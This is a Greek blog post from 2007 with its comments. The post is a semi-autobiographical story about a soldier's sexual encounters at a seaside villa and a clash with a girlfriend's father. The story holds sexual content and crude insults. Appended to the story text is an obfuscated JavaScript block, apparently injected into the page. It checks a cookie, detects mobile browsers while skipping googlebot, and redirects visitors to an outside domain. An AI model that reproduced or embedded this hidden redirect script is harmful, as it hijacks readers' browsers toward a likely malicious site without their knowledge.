      Μου ξεφεύγει και παίζουμε για λίγο κυνηγητό γύρω από το τραπέζι. «Πολύ δεν βιάζεσαι;» μου λέει Κάθομαι δήθεν κουρασμένος και πιάνω το κίτρινο καλαμάκι και φέρνω μια γουλιά καφέ με ουίσκι στο στόμα μου. Δεν έχει πιθανότητες να γλιτώσει σκέφτομαι. Από τη στιγμή που με διάλεξε η Ραχήλ νομίζω πως εμπιστεύεται το γούστο της. Ας πούμε καμία χαζομάρα μέχρι να πέσουν τα προσχήματα.     

      Να πούμε για σπουδές. Είναι στην Ιταλία , στο Μιλάνο, ταξιδεύει με το πλοίο από Πάτρα συνήθως, σπάνια παίρνει το αεροπλάνο, όταν είναι Αθήνα.  Της αρέσει να έρχεται εδώ στη βίλα του πατέρα της και να κάθεται με τις ώρες ν κοιτάζει τα κύματα , να ζωγραφίζει. Σπουδάζει εσωτερική διακόσμηση. Εδώ θα μπορούσα να της βάλω ένα πολύ δύσκολο πρόβλημα : να μου φτιάξει τον εσωτερικό μου κόσμο. Αλλά δεν μιλάω , αφήνω τη συζήτηση να κυλήσει.            …Και κυλάει  και μου λέει πως ζωγραφίζει κίτρινα τριαντάφυλλα και με πηγαίνει στο δωμάτιό της και βλέπω πίνακες με κίτρινα τριαντάφυλλα και με παρακολουθεί να τους κοιτάζω και πλησιάζω τον πιο εντυπωσιακό  και πλησιάζει και εκείνη πίσω μου και νοιώθω την αναπνοή της κοντά μου και γυρίζω ξαφνικά και τη φιλάω. Είναι τόσο ζεστή και είμαι τόσο παγωμένος από το ντους . Αισθάνομαι να καίγομαι στην επαφή με το δέρμα της και κείνη ανατριχιάζει .       

     Φιλάω τα χείλη της και σκέφτομαι πως τώρα πρέπει να κάνω ότι μπορώ για να αποφύγω μία πρόωρη εκσπερμάτωση. Ξαπλώνουμε. Δεν μπορείτε να φανταστείτε τι συμβαίνει τώρα. Σκέφτομαι απέραντα στρατιωτικά νεκροταφεία , φέρετρα σκεπασμένα με τη γαλανόλευκη, αγήματα να αποδίδουν τιμές στους πεσόντες, βλοσυρούς στρατιώτες να ρίχνουν στον αέρα , σκέφτομαι τον άγνωστο στρατιώτη στο Σύνταγμα. Και … πετυχαίνει , πετυχαίνει σας λέω. Έχω να κάνω σεξ (τι σεξ ; εσείς ξέρετε τι…. ) 20 μέρες και είμαι τόσο «ευάλωτος» σ’ αυτό το θέμα . Τελικά καταφέρνω να «αντέξω» αυτό το δεκάλεπτο που είναι το μίνιμουμ για να αφήσει αναμνήσεις.            Το ξέρω , το ξέρω πως μπορεί εκείνη να έβλεπε ότι τριγυρίζει σε ένα κήπο με κίτρινα τριαντάφυλλα, όμως εγώ έχω κάποιες αρχές. Ο άντρας είπαμε …δεν θα τα ξαναπώ γιατί θα με βαρεθείτε. Συνεχίζουμε τώρα με χάδια και φιλάκια και εξερευνήσεις στα κορμιά μας . Και ψάχνω να βρω που γαργαλιέται , τι την φτιάχνει και εκείνη αφήνει αυτά τα γελάκια και τα «μη» και «σταμάτα» και τότε ο φίλος μου , ο καλύτερός μου φίλος , που ξέρει πόοσο τον σέβομαι , «ξανασηκώνεται» .Και τη δεύτερη φορά έχω φύγει από τα αγήματα  και τα θύματα του πολέμου  και μπαίνω και εγώ στο κίτρινο κήπο της και κάνω ότι μπορώ για να μεθύσω από το χρώμα και το άρωμα που έχουν τα κίτρινα τριαντάφυλλα. της. Κατάφερα επί τέλους να νικήσω αυτή την υποχθόνια θεότητα της μαλακίας.       

       Αν ήμουν ο Ηρακλής θα είχα καταφέρει έναν από τους άθλους που μου ανέθεσε ο Δίας.    

          Κοιμόμαστε .  Κοιμόμαστε βαθιά. Ξέρετε πως κοιμούνται οι στρατιώτες; Τόσο βαθιά που μόνο πυροβολισμοί τους ξυπνάνε.     

          Μόνο που εγώ δεν είμαι ένας συνηθισμένος στρατιώτης. Ανοίγω τα μάτια με μία τρομερή αίσθηση ανησυχίας. Δεν ακούω τίποτε. Σηκώνομαι σιγά , περπατάω στις μύτες. Κοιτάζω έξω από το παράθυρο. Ο Στάθης. Φαίνεται κάτι να κοιτάζει στο «ματρά». Νομίζω πως θα δει το λουκάνικο μου. Ένας συναγερμός χτυπάει μέσα μου. Να μιλήσω πρώτα στη Ραχήλ. Πηγαίνω στο δωμάτιό της. Ανοίγω και …κοιμάται γυμνή πάνω σε ωχρά σεντόνια  με το κίτρινο μπουρνούζι της σε μια καρέκλα. Αγαλμάτινο σώμα , «τα κανόνια» με τις «κάνες» στραμμένες εναντίον μου και για μια στιγμή μου κόβεται η αναπνοή. Και πώς να την ξυπνήσω τώρα ; Και αν με παρεξηγήσει; Τελικά την πιάνω απαλά από τον αστράγαλο και μόλις ανοίξει τα μάτια και με δει έχω το δάχτυλο στα χείλη και της ψιθυρίζω ότι ο Στάθης είναι εδώ. Και δείχνω προς τον κήπο.      

       Ευτυχώς δεν έβαλε τις φωνές ,ούτε έκανε καμία κίνηση να κρύψει τη γύμνια της. Εγώ έρχομαι στη Σίσυ, κλειδώνω και την ξυπνάω. Απλώνει το χέρι να με αγκαλιάσει και της λέω ψιθυριστά ότι ο πατέρας της ετοιμάζεται να μπει στο σπίτι. Σηκώνεται αργά, χωρίς άγχος , χασμουριέται και νομίζω πως της έχει αδυναμία και δεν ενοχλείται από την ερωτική της ζωή.  

           Ο τύπος μπαίνει στο σπίτι και έρχεται κατευθείαν στο δωμάτιό μας. Δοκιμάζει την πόρτα. «Σίσυ άνοιξε.» «Τι έπαθες πατέρα ; » τον ρωτάει. «δεν πιστεύω να είναι εκεί μέσα το κολοφάνταρο;» Η Σίσυ με κοιτάζει με έκπληξη. Τι να πω εγώ τώρα. «Άνοιξε» φωνάζει . «Περίμενε να ντυθώ» του λέει. «Δεν ξέρω τι έπαθε » μου λέει ψιθυριστά. Εν τω μεταξύ βγαίνει από το δωμάτιό της η Ραχήλ με το κίτρινο μπουρνούζι και τον ρωτάει τι έπαθε. «Τι έπαθα; Είναι εδώ αυτός και σας πήδηξε και τις δύο. Πουτάνα , εσύ φταις εσύ τον έφερες , τσατσά . Αυτό είσαι μια τσατσά , που έφερε άντρα στη κόρη μου.» «Άνοιξε Σίσυ» Κοιταζόμαστε με τη Σίσυ. Σκέφτομαι να βγω από το παράθυρο και να αρχίσω να κάνω βόλτες στο κήπο με τα κίτρινα τριαντάφυλλα ,μέχρι να ξεκαθαρίσει η κατάσταση. Και τότε η Σίσυ με αιφνιδιάζει και πηγαίνει και ανοίγει την πόρτα.  

                       «Θα σε καθάριζα με τα ίδια μου τα χέρια» μου λέει. Που έμπλεξα ρε γαμώτο. Εκεί που πήγαιναν όλα καλά , πως στράβωσε έτσι το πράγμα; Άντε να δούμε τι θα γίνει ; Θα παλέψουμε πάλι μου φαίνεται. «Θα σου ξερίζωνα τα παπάρια. Είσαι τυχερός.» μου λέει. Και εσύ είσαι τυχερός λέω και  εγώ στο πουλί μου. Ασυναίσθητα τον καθησυχάζω  με το χέρι μου μέσα από το μπουρνούζι.   « Επειδή είναι η κόρη μου εδώ τη γλίτωσες.  Όμως θα καθίσουμε ήσυχα – ήσυχα στην τραπεζαρία και θα της  αποδείξω …» και στρέφεται προς τη Σίσυ «….ότι σας πήδηξε και τις δύο ενώ κοιμόσουν» « Τι λες βρε ηλίθιε»  του φωνάζει η Ραχήλ. «Τι λες ρε ανώμαλε; Νομίζεις ότι όλοι είναι σαν εσένα;» «Σκάσε γαμώ τη πουτάνα σου μη σου μαυρίσω και το άλλο μάτι»      

    «Καθίστε , καθίστε παρακαλώ…» μας λέει ειρωνικά και κάθεται πρώτος στην τραπεζαρία. Καθόμαστε και οι τρεις με τα κίτρινα μπουρνούζια , σαν τρία καναρινάκια με ένα μπούφο στη μέση . «Και πρώτον ποιος κλείδωσε την πόρτα από μέσα Σίσυενώ εσύ δεν κλειδώνεις ποτέ;» Η Σίσυ με κοιτάζει με απορία και εγώ ασυναίσθητα κοιτάζω τη Ραχήλ. Όλοι πιάνουν αυτό το βλέμμα μου και το μικρόβιο της αμφιβολίας κολλάει στο μυαλό της Σίσυς. Την έχω χάσει. Σας το λέω εγώ που έχω εμπειρία. Ο άτιμος κατάφερε με μία φράση να μας παγιδέψει. «Καλά εσείς φοράτε μπουρνούζι , αυτή εδώ γιατί είναι γυμνή ; » λέει και αρπάζει απότομα το μπουρνούζι τη Ραχήλ και την αφήνει γυμνή μπροστά μας. «Ηλίθιε , μαλάκα » του φωνάζει αυτή και προσπαθεί να ξαναπάρει το ρούχο. «Και αυτά τα σημάδια από τι είναι ;»λέει «Φιλάκια και ρουφήγματα; »  «Αυτά μου τα ’κανες εσύ το πρωί ηλίθιε, με χτύπησες, άνανδρε». Όμως η Σίσυ έχει το άρρωστο βλέμμα γυναίκας που υποφέρει από το μικρόβιο της αμφιβολίας. Κοιτάζει τη Ραχήλ σκεφτική , με παγωμένο βλέμμα. «Σίσυ , δεν είναι δυνατόν »της λέει εκείνη , «δεν είναι δυνατόν να πιστέψεις τις φαντασιώσεις του ;» Η Σίσυ κοιτάζει παγωμένα. «Σίσυ δεν έγινε τίποτε » λέω μουδιασμένα. «Σίσυ»  της λέει η Ραχήλ , εσύ ήθελες να έρθουμε εδώ , εγώ σου είπα να πάμε κατευθείαν Αθήνα.»     

        «Μας αφήνετε για λίγο μόνους ; « λέει η Σίσυ. Η Ραχήλ πηγαίνει στο δωμάτιο της και ο μαλάκας στο μπάνιο. «Νομίζω πως βιαστήκαμε…» λέει « ήμουν σίγουρη πως παρά τη θέληση μου τα πράγματα προχώρησαν γρήγορα. Δεν είναι η πρώτη μου φορά. Φταίω και εγώ. Όταν σας είδα ήξερα πως τη φαντασιώνεσαι. Δοκίμασα να σε αρπάξω από τα χέρια της. Έτσι για να τεστάρω τη γυναικεία μου ματαιοδοξία. Τη θηλυκότητα μου.» «Μα αφού δεν έγινε τίποτε » είπα αγχωμένα « …μόνο πήγα και την ξύπνησα για να αντιμετωπίσει τον πατέρα σου». Εδώ έκανα τη μεγάλη γκάφα. «Πήγες στο δωμάτιο της λοιπόν;»  «Άσε με να σου εξηγήσω » λέω. Με παρατάει και πηγαίνει  να ντυθεί. Κάθομαι μόνος μου στο τραπέζι. Ντύνεται μόνη της  . Πηγαίνω να της μιλήσω. Έχει κλειδώσει . Κάθομαι με το κίτρινο μπουρνούζι μου και δοκιμάζω τον μισοτελειωμένο καφέ μου .  

            Βγαίνει το αρχιδάκι από το μπάνιο. Με κοιτάζει. « Η ζωή δεν είναι εύκολη φίλε» μου λέει ειρωνικά . Δεν απαντάω. Σηκώνομαι γιατί δεν αντέχω τους αποχαιρετισμούς και παίρνω τα κλειδιά  από το ματρά. Βγαίνω . Ανοίγω το αυτοκίνητο. Βγάζω το λουκάνικο. Βγάζω την πιο βρώμικη φόρμα εργασίας και τη φοράω. Φοράω και άρβυλα και όλα εκτός από πηλίκιο. Ρίχνω το λουκάνικο στη πλάτη και φεύγω με τα πόδια.  

         Είναι απόγευμα. Περπατάω προς την πόλη. Πρώτη φορά έρχομαι στο Αίγιο. Μου ’ρχεται στο μυαλό (καλά τώρα θα σας στείλω ) ποιος λέτε; Ο Ρουβάς !! «…και συ μου λες , γνωριμίες πολλές …  Να μα αγαπάς … στη ζωή μου …» Μουρμουρίζω Ρουβά και περπατάω. Δοκιμάζω το κινητό. Καλή λήψη έχω. Τηλεφωνώ. Μόλις το σηκώσουν λέω. «Ντάντι είμαι εδώ στο Αίγιο, έχω μπλέξει και δεν έχω μία» «Πάρε ένα ταξί να σε φέρει σπίτι , εδώ θα είμαστε.» λέει. Ευτυχώς που είναι καθημερινή σκέφτομαι και δεν θα βγούνε . Θα σταματήσω ένα ταξί να με πάει Αθήνα στο Ν. Ψυχικό. Να δούμε πότε θα φθάσω μέσα στο Αίγιο με τα πόδια.    

            Πρώτα με προσπερνάει η μπε εμ βε του Στάθη. Το μωρό μου είναι μέσα και νομίζω ότι κλαίει. Σηκώνω το χέρι ασυναίσθητα αλλά δεν θα σταματήσει.             Σε λίγο με φθάνει η Ραχήλ. Σταματάει. Ανοίγω την πόρτα κουρασμένα. «Που πας ; » ρωτάει. «Αθήνα , μήπως μπορείτε να με πάρετε;» Κάθομαι και ξεκινάει. «Είμαι η Ραχήλ » μου λέει. «Στρατιώτης πεζικού Αντώνιος Καράς» λέω. «Νιώθω πολύ άσχημα για ότι έγινε » μουρμουρίζει. «Την τούμπαρε ο πατέρας της » είπα. «Είναι αδίστακτος» ξαναείπα. «Η εμπειρία στο καζίνο , τόσα χρόνια βλέπεις , τον δίδαξε πολλά, αλλά αυτό τον κατέστρεψε κιόλας »λέει η Ραχήλ.      

          Χτυπάει το κινητό μου: Το σηκώνω . «Σκατιάρη  που είσαι; Εδώ μάθαμε ότι πήρες άδεια ,που είσαι μωρό μου; » «Στο δρόμο έρχομαι» «Θα σε δούμε απόψε; » «Έρχομαι με οτοστόπ, αν προλάβω , μπορεί» «Δεν πιστεύω να βρήκες γυναίκα ; λέγε σκατιάρη , δεν βρήκες γυναίκα και μας το κρύβεις;» Το κλείνω. Ξαναχτυπάει. «Σκατιάρη αν είσαι με γυναίκα και ντρέπεσαι να το πεις είσαι προδότης» Το ξανακλείνω.           

   Η διαδρομή κυλάει μέσα στη σιωπή. Προσπαθώ να μουρμουρίσω πάλι Ρουβά « …και συ μου λες γνωριμίες πολλές ….» αλλά αυτό δεν είναι μπαλάντα .  Θα ήθελα κάτι πιο μελαγχολικό για τη θλίψη μου.  Μου κάνει μία αναπάντητη και της κάνω και εγώ. Τώρα ξέρουμε τα κινητά μας. Πριν βγω από το αυτοκίνητο με φιλάει τρυφερά στο στόμα ( όχι γλώσσες και μαλακίες) και μου λέει με αποστροφή « Τόση ώρα στο δρόμο ξέχασα να σου πω πόσο βρωμάς μ’ αυτά τα ρούχα.»           

Κατεβαίνω. Το βράδυ βγήκα με τους σκατιάρηδες. Ποτά , αυτοκίνητα , κλαμπ και ες εμ ες με βιντεάκια  αργά το πρωί.(Αλλά ποιος ασχολείται τώρα μ’ αυτά) Αυτή η βόλτα με το «ματρά» είναι καρφωμένη στο μυαλό μου.    

          Την Σίσυ δεν την ξαναείδα. Πέρασαν 4 χρόνια . Η Ραχήλ με πήρε μια μέρα να βρεθούμε για καφέ. Συναντηθήκαμε στη Βουκουρεστίου. «Κλεμέντε 8» . Της έχω μείνει απωθημένο έλεγε. Το ίδιο βράδυ σπίτι της ασχοληθήκαμε με το «απωθημένο» της. Η Ραχήλ ξέρει τι θα πει σεξ. Μια γυναίκα ώριμη χωρίς αναστολές , που σε κοιτάζει στα μάτια . Δεν θα κάνω πιο λεπτομερείς περιγραφές εδώ.    

        Από τότε βρεθήκαμε μερικές φορές ακόμα. Τα «απωθημένα» σας πληροφορώ ότι θέλουν πολλή δουλειά.   

          Αυτές τις μέρες σκέφτομαι να αγοράσω ένα «ματρά», τι λέτε και σεις ; Πως σας φαίνεται η ιδέα μου;  var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

25 Σχόλια »

  1. ήταν μία κουραστική εβδομάδα .
    τελικά κατάφερα να γράψω το ποστ με τις λέξεις εθνική οδος, δέος, κύματα , μπαλάντα και κιτρινα τραιαντάφυλλα που μου ζήτησε η ναταλία.
    μη πιέζεστε , το ξερω πως είναι μεγάλο
    τυπώστε το και απολαύστε το το σαββατοκύριακο.
    🙂
    ναταλία θενκς που με έπεισες να γραψω μια «παλιά ιστορία» που την καθυστερούσα καιρό τώρα
    όσο για τα «ψυχαναλυτικά» ελπίζω να μη είναι πολύ σοβαρή η περίπτωσή μου :):)

    Σχόλιο από thelastrealanwnymous — Μαρτίου 26, 2007 @ 1 :38 μμ | Απάντηση

  2. φίλε, μπορώ να πω ότι μεγαλούργησες!!!
    εσύ κι ο fusmoker που με τιμήσατε με τις ιστορίες σας πραγματικά γράψατε!!!
    έχω συγκλονιστεί η γυναίκα…
    όσο για το θέμα της ψυχανάλυσης, ρε φίλε, ο ένας πιο τρελός από τον άλλο είμαστε, ποιος να ψυχαναλύσει ποιον, γαμώ την τρέλα μου γαμώ;
    mail me, να πιούμε κανέναν καφέ sometime…
    (αν και στα μέρη σου ανεβαίνω μια φορά τη βδομάδα για δουλειά μόνο)
    φιλιά και επίσης θενκς για την ιστορία αν και δεν taggares τους 5 επόμενους.

    Σχόλιο από natalia — Μαρτίου 26, 2007 @ 9 :18 μμ | Απάντηση

  3. ομολογώ ότι με κούρασε η προσπάθεια να το τελειώσω μέσα σε λίγες μέρες.
    και πάλι έχει τα λαθάκια του και πρέπει να επέμβω .
    ξεχασα να δώσω τη σκυτάλη και θα μου επιτρέψετε να χρησιμοποιήσω τη μεθοδό μου.
    λέξεις: αγάπη, χρήμα , γάμος, σεξ, παιδιά.
    με όποια σειρά θέλετε.
    προτείνω τους margarita ,
    sardonian,
    sea4,
    vouts,
    nanatsouma,
    imikrimarika,
    so-far,
    homelessmontresor,
    druqbar,
    helix nebulae,
    pascal,
    zaphod,
    alicia,
    rodia,
    alekos,
    danai,
    astarti,
    paris apostolopoulos ,
    καθώς και εσένα ναταλία αν και δεν ξερω πως παίζεται και αν μπορώ να σου ξαναδώσω τη σκυτάλη.
    :):):):):)

    Σχόλιο από thelastrealanwnymous — Μαρτίου 27, 2007 @ 9 :13 πμ | Απάντηση

  4. τί λέξεις ξενέρωτες είναι αυτές βρε πουλάκι μου;;;
    έλεος!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    και taggares και το μισό bloggoσύμπαν!
    βασικά δεν μπορείς να μου ξαναδώσεις τη σκυτάλη (νομίζω τουλάχιστο).
    αν έχω διάθεση και καμιά καλή έμπνευση θα γράψω πάντως.

    Σχόλιο από Natalia — Μαρτίου 27, 2007 @ 12 :08 μμ | Απάντηση

  5. «γάμος»??!!!! I’ll take the challenge..πάρ’ αυτά:-)
    [Το κείμενο, εκπληκτικό. Η ιστορία καθηλωτική. Τα ψυχαναλυτικά κι απωθημένα αστραπόβροντα χτυπούν ατάκτως και σκορπούν μικρά πυροτεχνήματα ψυχής. Εύγε]

    Σχόλιο από Vouts — Μαρτίου 27, 2007 @ 1 :06 μμ | Απάντηση

  6. Μου το σφύριξε η ακατανόμαστη, ξέρεις..ώστε κείμενο με «sex» και «χρήμα» ε; και θες ν’αγοράσεις και Ματρά; Χαλάλι σου μάγκα. Και τα απωθημένα των άλλων πούλα τα, τα δικά σου παίζε.Με συγκίνησες πανάθεμα σε…

    Σχόλιο από Vouts — Μαρτίου 27, 2007 @ 1 :18 μμ | Απάντηση

  7. ..αυτά παθαίνεις άμα γράφεις από αλλουνού pc..Sardo που του πήραν τα μυαλά above..

    Σχόλιο από Sardonian — Μαρτίου 27, 2007 @ 1 :21 μμ | Απάντηση

  8. Φίλε ανώνυμε (αν μου επιτρέπεις να σε αποκαλώ έτσι) το Post ήταν κορυφαία και παρά το μέγεθος το διάβασα ξεκούραστα. Συνέχισε έτσι ……

    Μακάρι να είχα ένα Ματρά και εγω αυτόν τον καιρό, lol

    Υ.Γ μεγάλωσε λίγο την γραμματοσειρά, please

    Σχόλιο από alekos — Μαρτίου 27, 2007 @ 2 :13 μμ | Απάντηση

  9. Νόμιζα πως έβλεπα ταινία του Περάκη…μια χαρά ποστ…ωστόσο λίγο πιο μικρό θα μπορούσε να ήταν.

    Σχόλιο από NanaTsouma — Μαρτίου 27, 2007 @ 5 :22 μμ | Απάντηση

  10. ναταλία
    ξενέρωτες λέξεις; ναι …αν και σκεφτομαι ότι ετσι αυξάνω το βαθμό δυσκολίας 🙂
    όμως εχω την «αγωνία» να δω τι θα μου γραψεις.
    νουτς και σαρντο
    η ταχύτερη αντίδραση που εχω δει ποτέ.
    πότε προλαβατε και το γράψατε ;
    δεν συμφωνήσαμε να σας πληρώσω …αλλά μου άρεσε οπότε το σκέφτομαι ότι μπορεί να πουληθούν πακετο με το «ματρα» 🙂
    αλέκο
    φίλε αλέκο , εχεις δίκιο για τη γραμματοσειρά , θα το κανω εντιτ.
    σου ευχομαι να αποκτήσεις ενα ματρά, είναι ξεχωριστή «εμπειρία».
    μου άρεσε το κομάτι απο το Νοτιγκ Χιλ που ακούγεται στη σελίδα σου
    🙂
    νανα
    έχω αδυναμία στα «χορταστικά» φιλέτα και αφήνομαι να γράφω χωρίς περιορισμούς.
    δυστυχώς συναντάω συχνα στα γραπτά μου τον Περάκη .
    …και αναρωτιέμαι , λες να με διαβάζει κρυφά; 🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 28, 2007 @ 10 :01 πμ | Απάντηση

  11. το έγραψα ήδη…
    η ιστορία μου φιγουράρει από χτες στις γατοϊστορίες…
    είπα να γαμήσω την ψυχολογία μου μέχρι τέλους…
    if the truth hurts prepare for pain

    Σχόλιο από Natalia — Μαρτίου 28, 2007 @ 10 :26 πμ | Απάντηση

  12. Χρωστάς βόλτα, μη ξεχνιέσαι

    Σχόλιο από Sardonian — Μαρτίου 28, 2007 @ 12 :23 μμ | Απάντηση

  13. μην αγοράσεις. Τα καλά έρχονται όταν δεν το περιμένεις. Όταν το παλεύεις παύουν να έχουν αξία.

    Σχόλιο από lisadel — Μαρτίου 28, 2007 @ 4 :09 μμ | Απάντηση

  14. ναταλία
    οι γατοϊστορίες σου είναι ιστοριες «μεγάλων αιλουροειδών».
    πάντα με αιφνιδιάζει η ειλικρίνεια και η αφήγηση που δεν γίνεται μελό.
    βρίσκεσαι σε ενα «μονοπάτι» γνώσης.
    …και δεν είσαι αρχάρια σ’ αυτη την εμπειρία. 🙂
    σαρντό
    το όχημα είναι δικό σου .
    το κερδισες επαξια. θα στο δώσω να το «δοκιμάσεις» αν χωράτε τρεις.
    🙂
    λισα ντελ
    είσαι η πρώτη που προτείνεις να μη το αγοράσω .
    τα «καλά» ερχονται λίγες φορές ενώ τα κακά δυστυχώς είναι πιό «επίμονα».
    είσαι σίγουρη , επιμένεις να μη το αγορασω ;
    έχεις να προτείνεις καποια εναλακτική λύση;
    ακουω. 🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 28, 2007 @ 6 :44 μμ | Απάντηση

  15. και επίσης λίζα ντελ
    αν διαβάσεις το 3 σχόλιο έχεις μια πρόταση να γράψεις ποστ

    Σχόλιο από thelastrealanwnymous — Μαρτίου 28, 2007 @ 6 :46 μμ | Απάντηση

  16. ..είναι αυτοβιογραφικό το «έργο»;
    [….ακολούθησα το παράδειγμα σου και μπήκα στο χώρο της μπλογκοπαράνοιας]

    Σχόλιο από hgemοnida — Μαρτίου 29, 2007 @ 9 :18 πμ | Απάντηση

  17. φυσικά και είναι αυτοβιογραφικά , αν δεν ήταν τα μπλογκς κανείς δεν θα καθόταν να ακούσει τη «ματωμένη» διαδρομή μου , σε ένα συντηρητικό αθηναϊκό κολλέγιο.
    γιατί οπως ίσως θα γνωρίζεις οι «σκατιαρηδες» φίλοι μου , εκτός από κατι εσ εμ εσ , λίγα αθλητικά και κανένα περιοδικό με αυτοκίνητα δεν διαβαζουν τίποτε άλλο.
    σας εύχομαι καλή διαμονη στα «μπλογκςχοτέλ»
    🙂
    φαντάζομαι σαν ηγεμόνιδα θα εχεις σουίτα εδώ 🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 29, 2007 @ 10 :54 πμ | Απάντηση

  18. re file sou irthe kanena mail i tzampa kopaniemai?????????????

    Σχόλιο από Natalia — Μαρτίου 29, 2007 @ 12 :00 μμ | Απάντηση

  19. μολις διάβασα και απάντησες στην πρώτη μου ερώτηση
    δηλαδή αν είναι αυτοβιογράφικό
    οπότε σε πρώτο επίπεδο, νομίζω πως για σένα υπήρξε λυτρωτικό και πολυ διασκεδαστικό κατα μια έννοια.
    Βγάζω το καπέλο μου για την ειλικρίνεια σου, ειδικά όταν αναφέρεσαι σε κάποιες εμμονές σου, που δεν είναι πάντα κολακευτικές.
    αλλά νομίζω ότι το κείμενο σου ήταν υπερβολικά μεγάλο, εγώ δεν άντεξα να το διαβάσω, απο κάποια στιγμή και πέρα η ανάγνωση μου ήταν διαγώνια.
    Μου φαίνεται πως θα μπορούσαν να είχαν κοπεί πολλά χωρίς να στερήσεις τίποτα.
    η ταπεινή μου γνώμη είναι αυτή βέβαια, και όλοι οι προηγούμενοι δεν είχαν την ίδια άποψη, οπότε πάσο.
    Ιστοριούλα έχω γράψει ( η κα Λένα ) και σε ευχαριστώ πολύ για την πρόσκληση.
    cheers

    Σχόλιο από μαργαρίτα — Μαρτίου 29, 2007 @ 2 :49 μμ | Απάντηση

  20. Πωπω σεντόνιιιι….
    Είδες τελικά πως είχες πολλά να πεις;
    Όσο για την πρόσκληση…. μ’αυτές τις λέξεις; Αστο…ήταν βιαστική η επιλογή σου γιατί αλλιώς το πάμε για αυτοβιογραφία 😉

    thanx παντως

    Σχόλιο από druqbar — Μαρτίου 29, 2007 @ 2 :57 μμ | Απάντηση

